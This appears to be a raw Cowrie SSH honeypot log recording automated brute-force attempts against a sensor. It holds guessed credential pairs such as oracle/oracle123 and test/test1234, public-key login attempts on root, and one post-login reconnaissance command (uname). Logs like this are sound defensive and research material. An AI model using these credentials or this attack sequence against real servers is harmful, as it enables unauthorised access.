{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:51.151739Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:51.156753Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4436ec280082","protocol":"ssh","message":"New connection: 45.153.34.114:45396 (159.203.135.109:22) [session: 4436ec280082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.017543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.072446Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.107760Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.446309Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.660417Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.663492Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.751462Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:58.756991Z","src_ip":"45.153.34.114","session":"4436ec280082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":33296,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2b9bf82c53","protocol":"ssh","message":"New connection: 191.101.33.114:33296 (10.17.0.5:22) [session: ab2b9bf82c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.708851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.713821Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.741478Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:e1:40:b1:0a:9f:de:96:b3:41:21:63:2f:a3:ee:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9dL8TzDlFymewdnPrBD5v2MhOEfbaHwQkYWDNngUbxCLrfCrH7VDGyI2fqMx/0gVe2p+L9B4TrSPHrZjC4nWoO6/BxufhcHqm9nqUlDTd5iYdgjrT9WyWvQ+wKeSBf60hqQUAOkrDjcujEvn90sw8QOAomp46ZSXrt0WIw1CND2Hh8tklUqFj5+7K4xskZRLRP3X1KhZo7SiBOrkzYCOcwtDaXeUi+/fDxC+jKrlZOuhDZhOYtKWNMQhpsHu/zCDogbOXd15P1ofOrPmurA/y/lZGWtFHQmFf6WSUBVrGEvZkFd05oKFBT3NiFA1MlIYcRB3cKtjJKjJ+1mwSG955","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:e1:40:b1:0a:9f:de:96:b3:41:21:63:2f:a3:ee:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.859860Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:e1:40:b1:0a:9f:de:96:b3:41:21:63:2f:a3:ee:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9dL8TzDlFymewdnPrBD5v2MhOEfbaHwQkYWDNngUbxCLrfCrH7VDGyI2fqMx/0gVe2p+L9B4TrSPHrZjC4nWoO6/BxufhcHqm9nqUlDTd5iYdgjrT9WyWvQ+wKeSBf60hqQUAOkrDjcujEvn90sw8QOAomp46ZSXrt0WIw1CND2Hh8tklUqFj5+7K4xskZRLRP3X1KhZo7SiBOrkzYCOcwtDaXeUi+/fDxC+jKrlZOuhDZhOYtKWNMQhpsHu/zCDogbOXd15P1ofOrPmurA/y/lZGWtFHQmFf6WSUBVrGEvZkFd05oKFBT3NiFA1MlIYcRB3cKtjJKjJ+1mwSG955","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.864543Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:c0:71:f7:90:87:2c:a6:39:62:d8:e8:b1:4c:59:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnSRsUkUpJqygm4rmG96xUl3ugrYi2b2cOOmKcbl20lTJAEWH+b68mppfQOTa17yjjkzrEQ89UE+JTp9zT2bm2Wh3W0GVjrqFy5NWU/eRPVs/Db/HV8Lc+WV9jkgHSUivr+whR//SgVcK+WUJfBMj8RDUmMXV5AT/V/d0r9sffXHs7Deq8cV/UhvfakvVfw14pZTjX6Rb4YjkHlPb6gQfM7a86ZRl2b1JNYCUGbdHBJqcdDWEaq76P7ZXgBIy19W0DE3Sg7c51LuVz9DsmzMTYqaotXcRUWCeArN4GawLQlKf2ki8712Qnrz2Ybh5bdCdEoTWaJG1sliTTsZLz4GT5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:c0:71:f7:90:87:2c:a6:39:62:d8:e8:b1:4c:59:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.897164Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:c0:71:f7:90:87:2c:a6:39:62:d8:e8:b1:4c:59:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnSRsUkUpJqygm4rmG96xUl3ugrYi2b2cOOmKcbl20lTJAEWH+b68mppfQOTa17yjjkzrEQ89UE+JTp9zT2bm2Wh3W0GVjrqFy5NWU/eRPVs/Db/HV8Lc+WV9jkgHSUivr+whR//SgVcK+WUJfBMj8RDUmMXV5AT/V/d0r9sffXHs7Deq8cV/UhvfakvVfw14pZTjX6Rb4YjkHlPb6gQfM7a86ZRl2b1JNYCUGbdHBJqcdDWEaq76P7ZXgBIy19W0DE3Sg7c51LuVz9DsmzMTYqaotXcRUWCeArN4GawLQlKf2ki8712Qnrz2Ybh5bdCdEoTWaJG1sliTTsZLz4GT5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.901373Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:42:86:9d:54:b8:db:fa:9e:b2:26:e4:16:02:b8:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0yVYrkQ0eBZPCQHeBWpNt7xPPLlWfhJKbIb/3dt8FrZoly7dGQY1uaKoVEjGX7TnUUDoJu6imdMTaJND+NGP3XhcxKGZdJOJCoVqxRoY1oWOugMiQe4jxpxZnf0JqoRAltjMKtn4+pmcsIllqcW7VUdFVjmVmxsymWQtgH3Bw+oPIE7Rzb7dnFEPRjXF2oPWbbKJo9wRju1IovVa3OoWWvjdgb4r4AN7VyPNVL4hbdQqniLfTD9WVIjRfHS+gwN7uZaka3hcJv6w4UE+hu1kehTCpCDw/LnLtfJiFxwymSyLDWtdCWvioJ9aGDAQnR2bosuBDBEhbDs58DadP9sFaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:42:86:9d:54:b8:db:fa:9e:b2:26:e4:16:02:b8:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.929688Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:42:86:9d:54:b8:db:fa:9e:b2:26:e4:16:02:b8:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0yVYrkQ0eBZPCQHeBWpNt7xPPLlWfhJKbIb/3dt8FrZoly7dGQY1uaKoVEjGX7TnUUDoJu6imdMTaJND+NGP3XhcxKGZdJOJCoVqxRoY1oWOugMiQe4jxpxZnf0JqoRAltjMKtn4+pmcsIllqcW7VUdFVjmVmxsymWQtgH3Bw+oPIE7Rzb7dnFEPRjXF2oPWbbKJo9wRju1IovVa3OoWWvjdgb4r4AN7VyPNVL4hbdQqniLfTD9WVIjRfHS+gwN7uZaka3hcJv6w4UE+hu1kehTCpCDw/LnLtfJiFxwymSyLDWtdCWvioJ9aGDAQnR2bosuBDBEhbDs58DadP9sFaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.934324Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:a7:1f:5b:2c:46:5a:ce:ed:fe:ae:b2:44:6d:be:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39jPc5bum1ViwmPbfStopKvOrgTmWthnTKbX4v+mYqKGc3RgMkMkerJgHetiJdIJHYAOOVPyaHW+WEa5EtxODfmliM7AzYTsPAua8GXZGcoGUOWOIXYfMqohPB4+2DUknmP6puS/gDcHAyBcBAQTJ6qT19vKo9clLOVFAY/HuH6z4teo5bZNx52hftsl3svUZRsj1/bCy3HEBTmx1ZZiLned0Nh1YlQa9732nHFAL7/2m/u4zWzedsVG4fEiMqqWO2fLbbmV+t0NAZeU3AsBjNNShQJYOI1vn/nR+/k+MYKkE5Tf4lGo8C+s6dvgcK/e2SWKkcHDAzr6YBkDvAL1f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:a7:1f:5b:2c:46:5a:ce:ed:fe:ae:b2:44:6d:be:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.963169Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:a7:1f:5b:2c:46:5a:ce:ed:fe:ae:b2:44:6d:be:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39jPc5bum1ViwmPbfStopKvOrgTmWthnTKbX4v+mYqKGc3RgMkMkerJgHetiJdIJHYAOOVPyaHW+WEa5EtxODfmliM7AzYTsPAua8GXZGcoGUOWOIXYfMqohPB4+2DUknmP6puS/gDcHAyBcBAQTJ6qT19vKo9clLOVFAY/HuH6z4teo5bZNx52hftsl3svUZRsj1/bCy3HEBTmx1ZZiLned0Nh1YlQa9732nHFAL7/2m/u4zWzedsVG4fEiMqqWO2fLbbmV+t0NAZeU3AsBjNNShQJYOI1vn/nR+/k+MYKkE5Tf4lGo8C+s6dvgcK/e2SWKkcHDAzr6YBkDvAL1f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.967607Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:10:f0:d7:e0:23:1e:49:64:12:31:7a:4a:6a:32:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA48U87ZjXEayV0+/xXA0/jkAJKCGb0UCivZ2g+qmLH2+nZ0qrl8JSEmMgb12pH6AA9pJzdmcEEB+Gx2vqJg3ScATpP6tpHD6Dmhj8ZNnguVDzCeDL0AhlkHUScPQL3aPqmaZrv/iOQ89+10bnZrcHDtKE0r1y2ICziNRLg/P/oIIi+13RwEzLhGsqry4cmOb8IKLqkF2vbCMeurhe8qDtlVVwM8egT14cyF/DKOXwx6sG2IS7ACJKgE7CgDBSM6+F62NIB1pnl9VL+oiDRaCYYWKjV/fNrh7qGGzwkQuvqJ97/3l6V7cOvzmK/PBfA1yWVotuXwsrKMfrxCkjG0jyAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:10:f0:d7:e0:23:1e:49:64:12:31:7a:4a:6a:32:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:05.996252Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:10:f0:d7:e0:23:1e:49:64:12:31:7a:4a:6a:32:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA48U87ZjXEayV0+/xXA0/jkAJKCGb0UCivZ2g+qmLH2+nZ0qrl8JSEmMgb12pH6AA9pJzdmcEEB+Gx2vqJg3ScATpP6tpHD6Dmhj8ZNnguVDzCeDL0AhlkHUScPQL3aPqmaZrv/iOQ89+10bnZrcHDtKE0r1y2ICziNRLg/P/oIIi+13RwEzLhGsqry4cmOb8IKLqkF2vbCMeurhe8qDtlVVwM8egT14cyF/DKOXwx6sG2IS7ACJKgE7CgDBSM6+F62NIB1pnl9VL+oiDRaCYYWKjV/fNrh7qGGzwkQuvqJ97/3l6V7cOvzmK/PBfA1yWVotuXwsrKMfrxCkjG0jyAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:06.002329Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:06.034511Z","src_ip":"191.101.33.114","session":"ab2b9bf82c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52690,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3d3a0c7d6e","protocol":"ssh","message":"New connection: 45.153.34.114:52690 (159.203.135.109:22) [session: ed3d3a0c7d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:06.392540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:06.484332Z","src_ip":"45.153.34.114","session":"ed3d3a0c7d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:06.487896Z","src_ip":"45.153.34.114","session":"ed3d3a0c7d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:07.032624Z","src_ip":"45.153.34.114","session":"ed3d3a0c7d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:08.130476Z","src_ip":"45.153.34.114","session":"ed3d3a0c7d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"372e43d36549","protocol":"ssh","message":"New connection: 103.75.199.4:57914 (159.203.135.109:22) [session: 372e43d36549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:08.269848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:08.273785Z","src_ip":"103.75.199.4","session":"372e43d36549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:08.365827Z","src_ip":"103.75.199.4","session":"372e43d36549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:08.641757Z","src_ip":"103.75.199.4","session":"372e43d36549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:09.740882Z","src_ip":"103.75.199.4","session":"372e43d36549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47426,"dst_ip":"159.203.135.109","dst_port":22,"session":"859a272ee922","protocol":"ssh","message":"New connection: 45.153.34.114:47426 (159.203.135.109:22) [session: 859a272ee922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:14.751931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:14.757988Z","src_ip":"45.153.34.114","session":"859a272ee922","protocol":"ssh"}
